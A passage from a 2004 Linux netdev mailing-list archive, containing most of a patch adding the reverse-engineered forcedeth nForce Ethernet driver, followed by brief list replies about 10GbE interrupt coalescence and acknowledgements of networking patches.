cpu_to_le16(NV_RX_ERROR1|NV_RX_ERROR2|NV_RX_ERROR3|NV_RX_ERROR4)) { + np->stats.rx_errors++; + goto next_pkt; + } + if (prd->Flags & cpu_to_le16(NV_RX_CRCERR)) { + np->stats.rx_crc_errors++; + np->stats.rx_errors++; + goto next_pkt; + } + if (prd->Flags & cpu_to_le16(NV_RX_OVERFLOW)) { + np->stats.rx_over_errors++; + np->stats.rx_errors++; + goto next_pkt; + } + if (prd->Flags & cpu_to_le16(NV_RX_ERROR)) { + /* framing errors are soft errors, the rest is fatal. */ + if (prd->Flags & cpu_to_le16(NV_RX_FRAMINGERR)) { + if (prd->Flags & cpu_to_le16(NV_RX_SUBSTRACT1)) { + len--; + } + } else { + np->stats.rx_errors++; + goto next_pkt; + } + } + /* got a valid packet - forward it to the network core */ + skb = np->rx_skbuff[i]; + np->rx_skbuff[i] = NULL; + + skb_put(skb, len); + skb->protocol = eth_type_trans(skb, dev); + dprintk(KERN_DEBUG "%s: rx_process: packet %d with %d bytes, proto %d accepted.\n", + dev->name, np->cur_rx, len, skb->protocol); + netif_rx(skb); + dev->last_rx = jiffies; + np->stats.rx_packets++; + np->stats.rx_bytes += len; +next_pkt: + np->cur_rx++; + } +} + +/* + * change_mtu: dev->change_mtu function + * Called with dev_base_lock held for read. + */ +static int change_mtu(struct net_device *dev, int new_mtu) +{ + if (new_mtu > DEFAULT_MTU) + return -EINVAL; + dev->mtu = new_mtu; + return 0; +} + +/* + * change_mtu: dev->change_mtu function + * Called with dev->xmit_lock held. + */ +static void set_multicast(struct net_device *dev) +{ + struct fe_priv *np = get_nvpriv(dev); + u8 *base = get_hwbase(dev); + u32 addr[2]; + u32 mask[2]; + u32 pff; + + memset(addr, 0, sizeof(addr)); + memset(mask, 0, sizeof(mask)); + + if (dev->flags & IFF_PROMISC) { + printk(KERN_NOTICE "%s: Promiscuous mode enabled.\n", dev->name); + pff = NVREG_PFF_PROMISC; + } else { + pff = NVREG_PFF_MYADDR; + + if (dev->flags & IFF_ALLMULTI || dev->mc_list) { + u32 alwaysOff[2]; + u32 alwaysOn[2]; + + alwaysOn[0] = alwaysOn[1] = alwaysOff[0] = alwaysOff[1] = 0xffffffff; + if (dev->flags & IFF_ALLMULTI) { + alwaysOn[0] = alwaysOn[1] = alwaysOff[0] = alwaysOff[1] = 0; + } else { + struct dev_mc_list *walk; + + walk = dev->mc_list; + while (walk != NULL) { + u32 a, b; + a = le32_to_cpu(*(u32 *) walk->dmi_addr); + b = le16_to_cpu(*(u16 *) (&walk->dmi_addr[4])); + alwaysOn[0] &= a; + alwaysOff[0] &= ~a; + alwaysOn[1] &= b; + alwaysOff[1] &= ~b; + walk = walk->next; + } + } + addr[0] = alwaysOn[0]; + addr[1] = alwaysOn[1]; + mask[0] = alwaysOn[0] | alwaysOff[0]; + mask[1] = alwaysOn[1] | alwaysOff[1]; + } + } + addr[0] |= NVREG_MCASTADDRA_FORCE; + pff |= NVREG_PFF_ALWAYS; + spin_lock_irq(&np->lock); + stop_rx(dev); + writel(addr[0], base + NvRegMulticastAddrA); + writel(addr[1], base + NvRegMulticastAddrB); + writel(mask[0], base + NvRegMulticastMaskA); + writel(mask[1], base + NvRegMulticastMaskB); + writel(pff, base + NvRegPacketFilterFlags); + start_rx(dev); + spin_unlock_irq(&np->lock); +} + +static int update_linkspeed(struct net_device *dev) +{ + struct fe_priv *np = get_nvpriv(dev); + int adv, lpa, newls, newdup; + + adv = mii_rw(dev, np->phyaddr, MII_ADVERTISE, MII_READ); + lpa = mii_rw(dev, np->phyaddr, MII_LPA, MII_READ); + dprintk(KERN_DEBUG "%s: update_linkspeed: PHY advertises 0x%04x, lpa 0x%04x.\n", + dev->name, adv, lpa); + + /* FIXME: handle parallel detection properly, handle gigabit ethernet */ + lpa = lpa & adv; + if (lpa & LPA_100FULL) { + newls = NVREG_LINKSPEED_FORCE|NVREG_LINKSPEED_100; + newdup = 1; + } else if (lpa & LPA_100HALF) { + newls = NVREG_LINKSPEED_FORCE|NVREG_LINKSPEED_100; + newdup = 0; + } else if (lpa & LPA_10FULL) { + newls = NVREG_LINKSPEED_FORCE|NVREG_LINKSPEED_10; + newdup = 1; + } else if (lpa & LPA_10HALF) { + newls = NVREG_LINKSPEED_FORCE|NVREG_LINKSPEED_10; + newdup = 0; + } else { + dprintk(KERN_DEBUG "%s: bad ability %04x - falling back to 10HD.\n", dev->name, lpa); + newls = NVREG_LINKSPEED_FORCE|NVREG_LINKSPEED_10; + newdup = 0; + } + if (np->duplex != newdup || np->linkspeed != newls) { + np->duplex = newdup; + np->linkspeed = newls; + return 1; + } + return 0; +} + +static void link_irq(struct net_device *dev) +{ + struct fe_priv *np = get_nvpriv(dev); + u8 *base = get_hwbase(dev); + u32 miistat; + int miival; + + miistat = readl(base + NvRegMIIStatus); + writel(NVREG_MIISTAT_MASK, base + NvRegMIIStatus); + printk(KERN_DEBUG "%s: link change notification, status 0x%x.\n", dev->name, miistat); + + miival = mii_rw(dev, np->phyaddr, MII_BMSR, MII_READ); + if (miival & BMSR_ANEGCOMPLETE) { + update_linkspeed(dev); + + if (netif_carrier_ok(dev)) { + stop_rx(dev); + } else { + netif_carrier_on(dev); + printk(KERN_INFO "%s: link up.\n", dev->name); + } + writel(NVREG_MISC1_FORCE | ( np->duplex ? 0 : NVREG_MISC1_HD), + base + NvRegMisc1); + start_rx(dev); + } else { + if (netif_carrier_ok(dev)) { + netif_carrier_off(dev); + printk(KERN_INFO "%s: link down.\n", dev->name); + stop_rx(dev); + } + writel(np->linkspeed, base + NvRegLinkSpeed); + pci_push(base); + } +} + +static irqreturn_t nic_irq(int foo, void *data, struct pt_regs *regs) +{ + struct net_device *dev = (struct net_device *) data; + struct fe_priv *np = get_nvpriv(dev); + u8 *base = get_hwbase(dev); + u32 events; + int i; + + dprintk(KERN_DEBUG "%s: nic_irq\n", dev->name); + + for (i=0; ; i++) { + events = readl(base + NvRegIrqStatus) & NVREG_IRQSTAT_MASK; + writel(NVREG_IRQSTAT_MASK, base + NvRegIrqStatus); + pci_push(base); + dprintk(KERN_DEBUG "%s: irq: %08x\n", dev->name, events); + if (!(events & np->irqmask)) + break; + + if (events & (NVREG_IRQ_TX1|NVREG_IRQ_TX2|NVREG_IRQ_TX_ERR)) { + spin_lock(&np->lock); + tx_done(dev); + spin_unlock(&np->lock); + } + + if (events & (NVREG_IRQ_RX|NVREG_IRQ_RX_NOBUF)) { + rx_process(dev); + if (alloc_rx(dev)) { + spin_lock(&np->lock); + if (!np->in_shutdown) + mod_timer(&np->oom_kick, jiffies + OOM_REFILL); + spin_unlock(&np->lock); + } + } + + if (events & NVREG_IRQ_LINK) { + spin_lock(&np->lock); + link_irq(dev); + spin_unlock(&np->lock); + } + if (events & (NVREG_IRQ_TX_ERR)) { + dprintk(KERN_DEBUG "%s: received irq with events 0x%x. Probably TX fail.\n", + dev->name, events); + } + if (events & (NVREG_IRQ_UNKNOWN)) { + printk(KERN_DEBUG "%s: received irq with unknown events 0x%x. Please report\n", + dev->name, events); + } + if (i > max_interrupt_work) { + spin_lock(&np->lock); + /* disable interrupts on the nic */ + writel(0, base + NvRegIrqMask); + pci_push(base); + + if (!np->in_shutdown) + mod_timer(&np->nic_poll, jiffies + POLL_WAIT); + printk(KERN_DEBUG "%s: too many iterations (%d) in nic_irq.\n", dev->name, i); + spin_unlock(&np->lock); + break; + } + + } + dprintk(KERN_DEBUG "%s: nic_irq completed\n", dev->name); + + return IRQ_RETVAL(i); +} + +static void do_nic_poll(unsigned long data) +{ + struct net_device *dev = (struct net_device *) data; + struct fe_priv *np = get_nvpriv(dev); + u8 *base = get_hwbase(dev); + + disable_irq(dev->irq); + /* + * reenable interrupts on the nic, we have to do this before calling + * nic_irq because that may decide to do otherwise + */ + writel(np->irqmask, base + NvRegIrqMask); + pci_push(base); + nic_irq((int) 0, (void *) data, (struct pt_regs *) NULL); + enable_irq(dev->irq); +} + +static int open(struct net_device *dev) +{ + struct fe_priv *np = get_nvpriv(dev); + u8 *base = get_hwbase(dev); + int ret, oom, i; + + dprintk(KERN_DEBUG "forcedeth: open\n"); + + /* 1) erase previous misconfiguration */ + /* 4.1-1: stop adapter: ignored, 4.3 seems to be overkill */ + writel(NVREG_MCASTADDRA_FORCE, base + NvRegMulticastAddrA); + writel(0, base + NvRegMulticastAddrB); + writel(0, base + NvRegMulticastMaskA); + writel(0, base + NvRegMulticastMaskB); + writel(0, base + NvRegPacketFilterFlags); + writel(0, base + NvRegAdapterControl); + writel(0, base + NvRegLinkSpeed); + writel(0, base + NvRegUnknownTransmitterReg); + txrx_reset(dev); + writel(0, base + NvRegUnknownSetupReg6); + + /* 2) initialize descriptor rings */ + np->in_shutdown = 0; + oom = init_ring(dev); + + /* 3) set mac address */ + { + u32 mac[2]; + + mac[0] = (dev->dev_addr[0] << 0) + (dev->dev_addr[1] << 8) + + (dev->dev_addr[2] << 16) + (dev->dev_addr[3] << 24); + mac[1] = (dev->dev_addr[4] << 0) + (dev->dev_addr[5] << 8); + + writel(mac[0], base + NvRegMacAddrA); + writel(mac[1], base + NvRegMacAddrB); + } + + /* 4) continue setup */ + np->linkspeed = NVREG_LINKSPEED_FORCE|NVREG_LINKSPEED_10; + np->duplex = 0; + writel(NVREG_UNKSETUP3_VAL1, base + NvRegUnknownSetupReg3); + writel(0, base + NvRegTxRxControl); + pci_push(base); + writel(NVREG_TXRXCTL_BIT1, base + NvRegTxRxControl); + reg_delay(dev, NvRegUnknownSetupReg5, NVREG_UNKSETUP5_BIT31, NVREG_UNKSETUP5_BIT31, + NV_SETUP5_DELAY, NV_SETUP5_DELAYMAX, + KERN_INFO "open: SetupReg5, Bit 31 remained off\n"); + writel(0, base + NvRegUnknownSetupReg4); + + /* 5) Find a suitable PHY */ + writel(NVREG_MIISPEED_BIT8|NVREG_MIIDELAY, base + NvRegMIISpeed); + for (i = 1; i < 32; i++) { + int id1, id2; + + id1 = mii_rw(dev, i, MII_PHYSID1, MII_READ); + if (id1 < 0) + continue; + id2 = mii_rw(dev, i, MII_PHYSID2, MII_READ); + if (id2 < 0) + continue; + dprintk(KERN_DEBUG "%s: open: Found PHY %04x:%04x at address %d.\n", + dev->name, id1, id2, i); + np->phyaddr = i; + + update_linkspeed(dev); + + break; + } + if (i == 32) { + printk(KERN_INFO "%s: open: failing due to lack of suitable PHY.\n", + dev->name); + ret = -EINVAL; + goto out_drain; + } + + /* 6) continue setup */ + writel(NVREG_MISC1_FORCE | ( np->duplex ? 0 : NVREG_MISC1_HD), + base + NvRegMisc1); + writel(readl(base + NvRegTransmitterStatus), base + NvRegTransmitterStatus); + writel(NVREG_PFF_ALWAYS, base + NvRegPacketFilterFlags); + writel(NVREG_OFFLOAD_NORMAL, base + NvRegOffloadConfig); + + writel(readl(base + NvRegReceiverStatus), base + NvRegReceiverStatus); + get_random_bytes(&i, sizeof(i)); + writel(NVREG_RNDSEED_FORCE | (i&NVREG_RNDSEED_MASK), base + NvRegRandomSeed); + writel(NVREG_UNKSETUP1_VAL, base + NvRegUnknownSetupReg1); + writel(NVREG_UNKSETUP2_VAL, base + NvRegUnknownSetupReg2); + writel(NVREG_POLL_DEFAULT, base + NvRegPollingInterval); + writel(NVREG_UNKSETUP6_VAL, base + NvRegUnknownSetupReg6); + writel((np->phyaddr << NVREG_ADAPTCTL_PHYSHIFT)|NVREG_ADAPTCTL_PHYVALID, + base + NvRegAdapterControl); + writel(NVREG_UNKSETUP4_VAL, base + NvRegUnknownSetupReg4); + writel(NVREG_WAKEUPFLAGS_VAL, base + NvRegWakeUpFlags); + + /* 7) start packet processing */ + writel((u32) np->ring_addr, base + NvRegRxRingPhysAddr); + writel((u32) (np->ring_addr + RX_RING*sizeof(struct ring_desc)), base + NvRegTxRingPhysAddr); + writel( ((RX_RING-1) << NVREG_RINGSZ_RXSHIFT) + ((TX_RING-1) << NVREG_RINGSZ_TXSHIFT), + base + NvRegRingSizes); + + i = readl(base + NvRegPowerState); + if ( (i & NVREG_POWERSTATE_POWEREDUP) == 0) { + writel(NVREG_POWERSTATE_POWEREDUP|i, base + NvRegPowerState); + } + pci_push(base); + udelay(10); + writel(readl(base + NvRegPowerState) | NVREG_POWERSTATE_VALID, base + NvRegPowerState); + writel(NVREG_ADAPTCTL_RUNNING, base + NvRegAdapterControl); + + + writel(0, base + NvRegIrqMask); + pci_push(base); + writel(NVREG_IRQSTAT_MASK, base + NvRegIrqStatus); + pci_push(base); + writel(NVREG_MIISTAT_MASK2, base + NvRegMIIStatus); + writel(NVREG_IRQSTAT_MASK, base + NvRegIrqStatus); + pci_push(base); + + ret = request_irq(dev->irq, &nic_irq, SA_SHIRQ, dev->name, dev); + if (ret) + goto out_drain; + + writel(np->irqmask, base + NvRegIrqMask); + + spin_lock_irq(&np->lock); + writel(NVREG_MCASTADDRA_FORCE, base + NvRegMulticastAddrA); + writel(0, base + NvRegMulticastAddrB); + writel(0, base + NvRegMulticastMaskA); + writel(0, base + NvRegMulticastMaskB); + writel(NVREG_PFF_ALWAYS|NVREG_PFF_MYADDR, base + NvRegPacketFilterFlags); + start_rx(dev); + start_tx(dev); + netif_start_queue(dev); + if (oom) + mod_timer(&np->oom_kick, jiffies + OOM_REFILL); + if (!(mii_rw(dev, np->phyaddr, MII_BMSR, MII_READ) & BMSR_ANEGCOMPLETE)) { + printk("%s: no link during initialization.\n", dev->name); + netif_carrier_off(dev); + } + + spin_unlock_irq(&np->lock); + + return 0; +out_drain: + drain_ring(dev); + return ret; +} + +static int close(struct net_device *dev) +{ + struct fe_priv *np = get_nvpriv(dev); + u8 *base; + + spin_lock_irq(&np->lock); + np->in_shutdown = 1; + spin_unlock_irq(&np->lock); + synchronize_irq(dev->irq); + + del_timer_sync(&np->oom_kick); + del_timer_sync(&np->nic_poll); + + netif_stop_queue(dev); + spin_lock_irq(&np->lock); + stop_tx(dev); + stop_rx(dev); + base = get_hwbase(dev); + + /* disable interrupts on the nic or we will lock up */ + writel(0, base + NvRegIrqMask); + pci_push(base); + dprintk(KERN_INFO "%s: Irqmask is zero again\n", dev->name); + + spin_unlock_irq(&np->lock); + + free_irq(dev->irq, dev); + + drain_ring(dev); + + /* FIXME: power down nic */ + + return 0; +} + +static int __devinit probe_nic(struct pci_dev *pci_dev, const struct pci_device_id *id) +{ + struct net_device *dev; + struct fe_priv *np; + unsigned long addr; + u8 *base; + int err, i; + + dev = alloc_etherdev(sizeof(struct fe_priv)); + np = get_nvpriv(dev); + err = -ENOMEM; + if (!dev) + goto out; + + np->pci_dev = pci_dev; + spin_lock_init(&np->lock); + SET_MODULE_OWNER(dev); + SET_NETDEV_DEV(dev, &pci_dev->dev); + + init_timer(&np->oom_kick); + np->oom_kick.data = (unsigned long) dev; + np->oom_kick.function = &do_rx_refill; /* timer handler */ + init_timer(&np->nic_poll); + np->nic_poll.data = (unsigned long) dev; + np->nic_poll.function = &do_nic_poll; /* timer handler */ + + err = pci_enable_device(pci_dev); + if (err) { + printk(KERN_INFO "forcedeth: pci_enable_dev failed (%d) for device %s\n", + err, pci_name(pci_dev)); + goto out_free; + } + + pci_set_master(pci_dev); + + err = pci_request_regions(pci_dev, dev->name); + if (err < 0) + goto out_disable; + + err = -EINVAL; + addr = 0; + for (i = 0; i < DEVICE_COUNT_RESOURCE; i++) { + dprintk(KERN_DEBUG "%s: resource %d start %p len %ld flags 0x%08lx.\n", + pci_name(pci_dev), i, (void*)pci_resource_start(pci_dev, i), + pci_resource_len(pci_dev, i), + pci_resource_flags(pci_dev, i)); + if (pci_resource_flags(pci_dev, i) & IORESOURCE_MEM && + pci_resource_len(pci_dev, i) >= NV_PCI_REGSZ) { + addr = pci_resource_start(pci_dev, i); + break; + } + } + if (i == DEVICE_COUNT_RESOURCE) { + printk(KERN_INFO "forcedeth: Couldn't find register window for device %s.\n", + pci_name(pci_dev)); + goto out_relreg; + } + + err = -ENOMEM; + dev->base_addr = (unsigned long) ioremap(addr, NV_PCI_REGSZ); + if (!dev->base_addr) + goto out_disable; + dev->irq = pci_dev->irq; + np->rx_ring = pci_alloc_consistent(pci_dev, sizeof(struct ring_desc) * (RX_RING + TX_RING), + &np->ring_addr); + if (!np->rx_ring) + goto out_unmap; + np->tx_ring = &np->rx_ring[RX_RING]; + + dev->open = open; + dev->stop = close; + dev->hard_start_xmit = start_xmit; + dev->get_stats = get_stats; + dev->change_mtu = change_mtu; + dev->set_multicast_list = set_multicast; + dev->do_ioctl = nic_ioctl; + dev->tx_timeout = tx_timeout; + dev->watchdog_timeo = NV_WATCHDOG_TIMEO; + + pci_set_drvdata(pci_dev, dev); + + + /* read the mac address */ + base = get_hwbase(dev); + np->orig_mac[0] = readl(base + NvRegMacAddrA); + np->orig_mac[1] = readl(base + NvRegMacAddrB); + + dev->dev_addr[0] = (np->orig_mac[1] >> 8) & 0xff; + dev->dev_addr[1] = (np->orig_mac[1] >> 0) & 0xff; + dev->dev_addr[2] = (np->orig_mac[0] >> 24) & 0xff; + dev->dev_addr[3] = (np->orig_mac[0] >> 16) & 0xff; + dev->dev_addr[4] = (np->orig_mac[0] >> 8) & 0xff; + dev->dev_addr[5] = (np->orig_mac[0] >> 0) & 0xff; + + if (!is_valid_ether_addr(dev->dev_addr)) { + /* + * Bad mac address. At least one bios sets the mac address + * to 01:23:45:67:89:ab + */ + printk(KERN_ERR "%s: Invalid Mac address detected: %02x:%02x:%02x:%02x:%02x:%02x\n", + pci_name(pci_dev), + dev->dev_addr[0], dev->dev_addr[1], dev->dev_addr[2], + dev->dev_addr[3], dev->dev_addr[4], dev->dev_addr[5]); + printk(KERN_ERR "Please complain to your hardware vendor. Switching to a random MAC.\n"); + dev->dev_addr[0] = 0x00; + dev->dev_addr[1] = 0x00; + dev->dev_addr[2] = 0x6c; + get_random_bytes(&dev->dev_addr[3], 3); + } + + dprintk(KERN_DEBUG "%s: MAC Address %02x:%02x:%02x:%02x:%02x:%02x\n", pci_name(pci_dev), + dev->dev_addr[0], dev->dev_addr[1], dev->dev_addr[2], + dev->dev_addr[3], dev->dev_addr[4], dev->dev_addr[5]); + + np->tx_flags = cpu_to_le16(NV_TX_LASTPACKET|NV_TX_LASTPACKET1|NV_TX_VALID); + if (id->driver_data & DEV_NEED_LASTPACKET1) + np->tx_flags |= cpu_to_le16(NV_TX_LASTPACKET1); + if (id->driver_data & DEV_IRQMASK_1) + np->irqmask = NVREG_IRQMASK_WANTED_1; + if (id->driver_data & DEV_IRQMASK_2) + np->irqmask = NVREG_IRQMASK_WANTED_2; + if (id->driver_data & DEV_NEED_TIMERIRQ) + np->irqmask |= NVREG_IRQ_TIMER; + + err = register_netdev(dev); + if (err) { + printk(KERN_INFO "forcedeth: unable to register netdev: %d\n", err); + goto out_freering; + } + printk(KERN_INFO "%s: forcedeth.c: subsystem: %05x:%04x bound to %s\n", + dev->name, pci_dev->subsystem_vendor, pci_dev->subsystem_device, + pci_name(pci_dev)); + + return 0; + +out_freering: + pci_free_consistent(np->pci_dev, sizeof(struct ring_desc) * (RX_RING + TX_RING), + np->rx_ring, np->ring_addr); +out_unmap: + iounmap(get_hwbase(dev)); +out_relreg: + pci_release_regions(pci_dev); +out_disable: + pci_disable_device(pci_dev); +out_free: + free_netdev(dev); + pci_set_drvdata(pci_dev, NULL); +out: + return err; +} + +static void __devexit remove_nic(struct pci_dev *pci_dev) +{ + struct net_device *dev = pci_get_drvdata(pci_dev); + struct fe_priv *np = get_nvpriv(dev); + u8 *base = get_hwbase(dev); + + unregister_netdev(dev); + + /* special op: write back the misordered MAC address - otherwise + * the next probe_nic would see a wrong address. + */ + writel(np->orig_mac[0], base + NvRegMacAddrA); + writel(np->orig_mac[1], base + NvRegMacAddrB); + + /* free all structures */ + pci_free_consistent(np->pci_dev, sizeof(struct ring_desc) * (RX_RING + TX_RING), np->rx_ring, np->ring_addr); + iounmap(get_hwbase(dev)); + pci_release_regions(pci_dev); + pci_disable_device(pci_dev); + free_netdev(dev); + pci_set_drvdata(pci_dev, NULL); +} + +static struct pci_device_id pci_tbl[] = { + { /* nForce Ethernet Controller */ + .vendor = PCI_VENDOR_ID_NVIDIA, + .device = 0x1C3, + .subvendor = PCI_ANY_ID, + .subdevice = PCI_ANY_ID, + .driver_data = DEV_IRQMASK_1|DEV_NEED_TIMERIRQ, + }, + { /* nForce2 Ethernet Controller */ + .vendor = PCI_VENDOR_ID_NVIDIA, + .device = 0x0066, + .subvendor = PCI_ANY_ID, + .subdevice = PCI_ANY_ID, + .driver_data = DEV_NEED_LASTPACKET1|DEV_IRQMASK_2|DEV_NEED_TIMERIRQ, + }, + { /* nForce3 Ethernet Controller */ + .vendor = PCI_VENDOR_ID_NVIDIA, + .device = 0x00D6, + .subvendor = PCI_ANY_ID, + .subdevice = PCI_ANY_ID, + .driver_data = DEV_NEED_LASTPACKET1|DEV_IRQMASK_2|DEV_NEED_TIMERIRQ, + }, + {0,}, +}; + +static struct pci_driver driver = { + .name = "forcedeth", + .id_table = pci_tbl, + .probe = probe_nic, + .remove = __devexit_p(remove_nic), +}; + + +static int __init init_nic(void) +{ + printk(KERN_INFO "forcedeth.c: Reverse Engineered nForce ethernet driver. Version %s.\n", FORCEDETH_VERSION); + return pci_module_init(&driver); +} + +static void __exit exit_nic(void) +{ + pci_unregister_driver(&driver); +} + +MODULE_PARM(max_interrupt_work, "i"); +MODULE_PARM_DESC(max_interrupt_work, "forcedeth maximum events handled per interrupt"); + +MODULE_AUTHOR("Manfred Spraul "); +MODULE_DESCRIPTION("Reverse Engineered nForce ethernet driver"); +MODULE_LICENSE("GPL"); + +MODULE_DEVICE_TABLE(pci, pci_tbl); + +module_init(init_nic); +module_exit(exit_nic); --------------060904090502080004040101-- From hadi@cyberus.ca Sat Jan 24 09:55:00 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 24 Jan 2004 09:55:13 -0800 (PST) Received: from mail.cyberus.ca (mail.cyberus.ca [209.197.145.21]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0OHsv7J027442 for ; Sat, 24 Jan 2004 09:55:00 -0800 Received: from cpe0030ab124d2f-cm014500000962.cpe.net.cable.rogers.com ([24.103.99.32] helo=[10.0.0.21]) by mail.cyberus.ca with esmtp (Exim 4.20) id 1AkRze-00064r-8u; Sat, 24 Jan 2004 12:54:50 -0500 Subject: Re: FW: Submission for S2io 10GbE driver From: jamal Reply-To: hadi@cyberus.ca To: Andi Kleen Cc: Leonid Grossman , netdev@oss.sgi.com In-Reply-To: <20040124155809.15fe167e.ak@suse.de> References: <1074914062.1036.39.camel@jzny.localdomain> <000001c3e238$62efbb30$0400a8c0@S2IOtech.com> <20040124155809.15fe167e.ak@suse.de> Content-Type: text/plain Organization: jamalopolis Message-Id: <1074966855.1732.8.camel@jzny.localdomain> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.2.2 Date: 24 Jan 2004 12:54:16 -0500 Content-Transfer-Encoding: 7bit X-archive-position: 2724 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: hadi@cyberus.ca Precedence: bulk X-list: netdev Leonid, What would also be interesting to see is a packet that never leaves the kernel such is in forwarding. If theres a way you can stash two of those cards in a box and just have them forward packets coming in from one to another - would be nice to see the numbers with varying packet size example { 64,256,512,1518, 4K, 9K} cheers, jamal From hadi@cyberus.ca Sat Jan 24 10:01:07 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 24 Jan 2004 10:01:20 -0800 (PST) Received: from mail.cyberus.ca (mail.cyberus.ca [209.197.145.21]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0OI167J027991 for ; Sat, 24 Jan 2004 10:01:07 -0800 Received: from cpe0030ab124d2f-cm014500000962.cpe.net.cable.rogers.com ([24.103.99.32] helo=[10.0.0.21]) by mail.cyberus.ca with esmtp (Exim 4.20) id 1AkS5c-0006jP-Um; Sat, 24 Jan 2004 13:01:01 -0500 Subject: RE: FW: Submission for S2io 10GbE driver From: jamal Reply-To: hadi@cyberus.ca To: Leonid Grossman Cc: netdev@oss.sgi.com In-Reply-To: <000001c3e238$62efbb30$0400a8c0@S2IOtech.com> References: <000001c3e238$62efbb30$0400a8c0@S2IOtech.com> Content-Type: text/plain Organization: jamalopolis Message-Id: <1074967227.1732.15.camel@jzny.localdomain> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.2.2 Date: 24 Jan 2004 13:00:27 -0500 Content-Transfer-Encoding: 7bit X-archive-position: 2725 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: hadi@cyberus.ca Precedence: bulk X-list: netdev On Sat, 2004-01-24 at 00:10, Leonid Grossman wrote: > > - Adaptive Interrupt Coalescence > > There are several interrupt schemes, in the utilization scheme the > device can be programmed to automatically adjust interrupt rate based > upon link utilization, independently for tx and rx interrupts. > For instance, if the utilization is in single percentage digits then the > device can be programmed to get an interrupt per every packet since > interrupt rate doesn't matter much; If the utilization gets closer to > 100%, it will probably make sense to program device for, say, one > interrupt per 200 packets - the number will somewhat vary for different > systems and packet sizes. > How effective is this? Example you could easily fill up a link with larger packets (less interupts) than with smaller packets (more interupts). The latter overloads the system more. getting feedback from the system (which you can in Linux) and adjusting the rate that way would be more effective it seems. Adjusting interupt rates based on a moving window averaging of the packet arrival rate would also be useful. cheers, jamal From davem@redhat.com Sat Jan 24 10:09:23 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 24 Jan 2004 10:09:43 -0800 (PST) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0OI9M7J028797 for ; Sat, 24 Jan 2004 10:09:23 -0800 Received: from localhost (IDENT:davem@localhost.localdomain [127.0.0.1]) by pizda.ninka.net (8.9.3/8.9.3) with ESMTP id KAA09167; Sat, 24 Jan 2004 10:00:39 -0800 Date: Sat, 24 Jan 2004 10:00:39 -0800 (PST) Message-Id: <20040124.100039.59476360.davem@redhat.com> To: dlstevens@us.ibm.com Cc: netdev@oss.sgi.com, stevenh@xsmail.com Subject: Re: multicast loop with include filters fix [PATCH] From: "David S. Miller" In-Reply-To: References: X-FalunGong: Information control. X-Mailer: Mew version 2.1 on Emacs 21.1 / Mule 5.0 (SAKAKI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 2726 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev From: David Stevens Date: Fri, 23 Jan 2004 15:39:26 -0700 Here's the 2.4.x version of the patch. Both 2.4.x and 2.6.x variants applied, thanks David. I assume the 2.4.x patch had the small fixup the original 2.6.x one needed. From davem@redhat.com Sat Jan 24 10:11:20 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 24 Jan 2004 10:11:37 -0800 (PST) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0OIBK7J029081 for ; Sat, 24 Jan 2004 10:11:20 -0800 Received: from localhost (IDENT:davem@localhost.localdomain [127.0.0.1]) by pizda.ninka.net (8.9.3/8.9.3) with ESMTP id KAA09201; Sat, 24 Jan 2004 10:02:33 -0800 Date: Sat, 24 Jan 2004 10:02:33 -0800 (PST) Message-Id: <20040124.100233.41638116.davem@redhat.com> To: bart@samwel.tk Cc: linux-net@vger.kernel.org, netdev@oss.sgi.com Subject: Re: [PATCH] [TRIVIAL] "unsigned char"/"char" consistency? From: "David S. Miller" In-Reply-To: <4012A5F5.2000804@samwel.tk> References: <4012A5F5.2000804@samwel.tk> X-FalunGong: Information control. X-Mailer: Mew version 2.1 on Emacs 21.1 / Mule 5.0 (SAKAKI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 2727 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev From: Bart Samwel Date: Sat, 24 Jan 2004 18:05:57 +0100 I was just nosing around and I noticed a minor inconsistency in the usage of unsigned chars in skbuff push/pull functions. Almost all of these functions return unsigned chars, but there are two that return regular chars. Of course, this might be intentional, but AFAICS it probably isn't. If nobody has a reason why this must be like this, I suggest changing those two functions to return unsigned char as well. I've attached a patch that does this, it's against 2.6.2-rc1. Patch applied, thanks Bart. From davem@redhat.com Sat Jan 24 10:13:47 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 24 Jan 2004 10:13:59 -0800 (PST) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0OIDk7J029563 for ; Sat, 24 Jan 2004 10:13:47 -0800 Received: from localhost (IDENT:davem@localhost.localdomain [127.0.0.1]) by pizda.ninka.net (8.9.3/8.9.3) with ESMTP id KAA09255; Sat, 24 Jan 2004 10:05:03 -0800 Date: Sat, 24 Jan 2004 10:05:03 -0800 (PST) Message-Id: <20040124.100503.104039439.davem@redhat.com> To: yoshfuji@linux-ipv6.org Cc: netdev@oss.sgi.com Subject: Re: [PATCH] IPV6: mis-spelling From: "David S. Miller" In-Reply-To: <20040123.100255.88151138.yoshfuji@linux-ipv6.org> References: <20040123.100255.88151138.yoshfuji@linux-ipv6.org> X-FalunGong: Information control. X-Mailer: Mew version 2.1 on Emacs 21.1 / Mule 5.0 (SAKAKI) Mime-Version: 1.0 Content-Type: Text/Plain; 